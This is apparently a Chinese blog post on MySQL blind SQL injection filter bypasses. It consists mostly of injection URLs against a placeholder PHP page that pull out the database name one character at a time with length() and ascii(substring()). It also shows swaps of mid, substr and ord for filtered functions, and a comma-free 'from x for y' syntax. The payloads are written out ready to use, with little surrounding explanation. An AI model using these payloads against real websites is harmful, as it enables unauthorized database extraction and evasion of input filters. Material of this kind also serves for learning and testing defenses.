mysql盲注绕过_盲注 绕过技巧

http://www.x.com/sections_intr.php?id=181 and length((database()))=4

http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),1,1))=122

http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),2,1))=122

http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),3,1))=102

http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),4,1))=121

substring过滤的时候替换成mid

http://www.x.com/sections_intr.php?id=181 and  ascii(mid(database(),1,1)) =122

substring过滤的时候替换成substr   substr()  Mid()等价于 substring() 函数

http://www.x.com/sections_intr.php?id=181 and  ascii(substr(database(),1,1)) =122

当然还可以使用 substring mid  left right  substr REGEXP

盲注简单的来说 就是一个字符 一个字符一个字符匹配

ascii过滤的时候替换成ord

http://www.x.com/sections_intr.php?id=181 and  ord(mid(database(),1,1))=122

绕过不能使用使用逗号的情况

ascii(mid(user(),1,1))=150

绕过的方法是使用from x for y。语法类似:

mid(user() from 1 for 1)

substr(user() from 1 for 1)

以上同样是从第一个字符开始,取一位字符。

那么,不带逗号注入的语法,就可以变成:

mysql> select ascii(substr(user() from 1 for 1)) < 150;

122=z  102=f  121=y

库名:zzfy

ascii码表 http://app.baidu.com/app/enter?appid=218548

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值